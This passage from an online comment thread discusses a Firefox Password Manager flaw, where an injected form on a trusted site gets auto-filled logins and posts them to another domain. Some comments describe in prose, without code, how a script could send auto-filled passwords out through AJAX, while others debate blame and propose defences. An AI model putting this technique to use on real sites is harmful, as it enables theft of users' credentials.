      Yes, someone could. You could even set a watch on the field's value so that it doesn't have to poll the server. In a nutshell, you attach a trigger to the value property of an input field. When the value changes (say, when it's auto-populated by FireFox's all-too-friendly password completion mechanism), the trigger then sends the values via AJAX request.

  79. FF FUD .. by rs232 · · Score: 1

    "Firefox .. it deletes files when they are dragged into the browser window . IE won't even allow you to do the dragging"

    Here on FF 2.0 it does no such thing, just opens up in a window, does not delete.

    "if you are getting messages from your Yahoo groups by e-mail on your gmail account, the Yahoo ads are overlaying the text. IE does not do that"

    I don't understand, does yahoo include adverts in the email. Here on FF 2.0 I have no such problem. I don't even see the adverts in Yahoo as I have adblock enabled.

    "I can easily foresee that if this will continue I am going to consider switching to some other browser. Any recommendations?"

    Yea, go back to IE7, all the rest are written by sandle wearing, long hair communist hippies ..

    was Re:FF problems

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    davecb5620@gmail.com
  80. Yet another Password Manager Hole.... by Anonymous Coward · · Score: 0

    Has anyone else noticed that this isn't the only glaring security hole to do with Firefox's Password Manager?

    To be convenient they have added the feature where you can view the username stored for any particular domain in the settings. But what's more, they have added the useful little button called "Show Passwords". I use various shared pc's in my flat. I trust my flatmates enough to store my login details for various sites, but that doesn't mean I want them to have easy access to what the passwords actually are, as they are also used on sites that I don't want to give them access to.

    There's the option of using a master password. Great. So everytime I want the computer to automatically fill in my passwords, I have to enter my password, WHAT GENIUS!! I don't want that, but I also don't want to give my flatmates open access to what my passwords actually are!! Stupid no?

  81. When ever FF is mentioned .. by rs232 · · Score: 1

    When ever FF is talked about, at least once mention the memory leak problem .. :)

    "he has a machine with "only" 512 MB of RAM. What did Firefox do? According to Task Manager, it was consuming 1896 MB of RAM"

    I have never experienced the fabled FF memory problem .. 300MB RAM, FF = 52MB.

    was You're lucky. (Score:5, memory leak fud)

    --
    davecb5620@gmail.com
  82. Bugs Happen by pentalive · · Score: 1

    Bugs are bugs, they happen.

    With Open source many eyes and many hands work to fix the bugs.

    With closed source only a small group can see or fix the source, and the "originator" of the program may not even want to acknoledge the bug.

  83. Vulnerability worse with AJAX/Web 2.0? by Openstandards.net · · Score: 1

    I could be mistaken, but couldn't the need for the user to submit the form (request) be sidestepped with AJAX/Web 2.0 scripting, sending the password as soon as the field is populated? Or does the obfuscation of the password field in the browser prevent this?

  84. This flaw affects Seamonkey as well by Squeezer · · Score: 1

    I just tested it with Seamonkey 1.0.6 (I prefer it over firefox) and the exploit happens on it as well.

    --
    Does the name Pavlov ring a bell?
  85. I can't agree that this is a bug in Firefox by mysidia · · Score: 1

    After carefully examining the issue, I come to the conclusion, that for this supposed issue to show up, it means that the legitimate site you are visiting has been hijacked, and a fake login form inserted. If that is the case, the user is liable to enter the username and password. Firefox password manager or not: when the user clicks submit, the password goes to the other site, whether password manager is enabled or not.

    Anyone who can inject arbitrary HTML can possibly get your password. This isn't a bug, it's a consequence of submitting your password using an HTML form, and allowing other users fine control of what scripting and form elements appear on the page.

    Sites that wish to guard against such attacks should utilize the more robust systems available for authentication, which include: HTTP authentication and Client-side SSL certificates. In both of these cases, a HTML page need not have direct access to the authentication information provided by the user to the web server.

    Users of the browser should just be aware that 'password manager' is not an anti-phishing feature in this version of Firefox -- if the site you are visiting wishes to spill your password to another site, when you login, nothing can stop them, whether you use password manager or not. In fact, they can use AJAX to send your password to who knows what other sites in the world, from the moment you start typing it into a HTML form.

    I only hit 'save password' for places where it's safe to do, and when I do so, I rather have it err on the side of filling in a password field, than ever have it err on the side of 'not filling in the password', because it thinks a form might be fake. I'll be the judge of that.

    Cross-site forms are a feature of HTML. The issue in this case is that a page author can insert a malicious password form on a legitimate site in the first place.

    Exploitation of this so called "bug" relies on the site you visit cooperating with the outside site.

    That tells me it's not a bug in password manager. The bug is that a site allows a malicious login form to appear on it in the first place. EOM.

  86. *sigh* by Ant+P. · · Score: 1

    Got duped to this one in about 30 seconds... and it's over 10 months old.

  87. kind of a Firefox security hole by Onymous+Coward · · Score: 1

    Javascript, no. Maybe you're not clear on how this works?

    XSS, kind of, yes.

    This exploit requires someone be able to insert a <form> element on a trusted site. (A site that you trust at least to have an account with.) The form gets the login info auto-populated by Password Manager, but then submits the results to a different site. This compromises the trusted site's credentials.

    I use Password Manager, but rarely let it save passwords. (You're given the option each time, you know.) There are specific situations where it comes in handy for me, and thankfully none of them would expose me to a malicious use of this exploit. So, modulo your lack of specificity on the scenarios that make its use retarded, we agree.

    Being security conscious, I (also) use NoScript. The exploit works even with both sites forbidden. So you know. No need for you to go configuring Password Manager to test it. (Which would not have been hard to do — it's a checkbox.)

    As for the question of whether this is a Firefox security hole, I think it is. At least partly. Sure, XSS injection is a site-specific vulnerability. That much is the site's fault. But silently performing a credentials fill-in for cross-site form posting in an environment where XSS may happen... This is not ideal. Surely there must be some solution like tying the credentials not just to a domain and/or specific page, but to the triple of URL+form+action. Maybe this is hard to do if the populating is done before the action can be known for sure (as the form action attribute may change after population and before submission).

    I can imagine having Firefox perform a check at the moment it attempts to submit: Did we auto-fill the credentials, and is the URL+form+action the same? If so, go ahead. If not, warn user.

    Wonder what will come of this all?

  88. Secunia verdict: FF still more secure than IE by free2 · · Score: 1

    The clock is ticking... will Firefox beat IE's response time?

    according to secunia, IE7 has more severe bugs unpatched, the most severe also affects IE6 and is known since 2006-10-30

    http://secunia.com/product/12366/?task=advisories_ 2006
    http://secunia.com/product/12434/?task=advisories_ 2006

  89. passwordmaker by yulek · · Score: 1

    better than any password manager: http://www.passwordmaker.org/

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    in this age of communication i'm just not getting through
  90. Re:no need to save passwords --generate em on the by syousef · · Score: 1

    It also won't work on sites that force you to enter your password using buttons (randomly arranged or static). Many banks do this now.

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  91. Re:yes, and... by sandman006 · · Score: 1

    Yes, viruses can only spread via sneezes. Oh, don't forgot the good old, I/O shutdown.

  92. Domains by Anonymous Coward · · Score: 0

    Almost all good sites already have a policy where user generated content is served from a separate domain, in an IFrame if need be. Check out google translate, or gmail. Signing in to a site should always be from a different domain to that from which any user generated content is served. It is a quick and easy way of solving this vulnerability and many similar ones.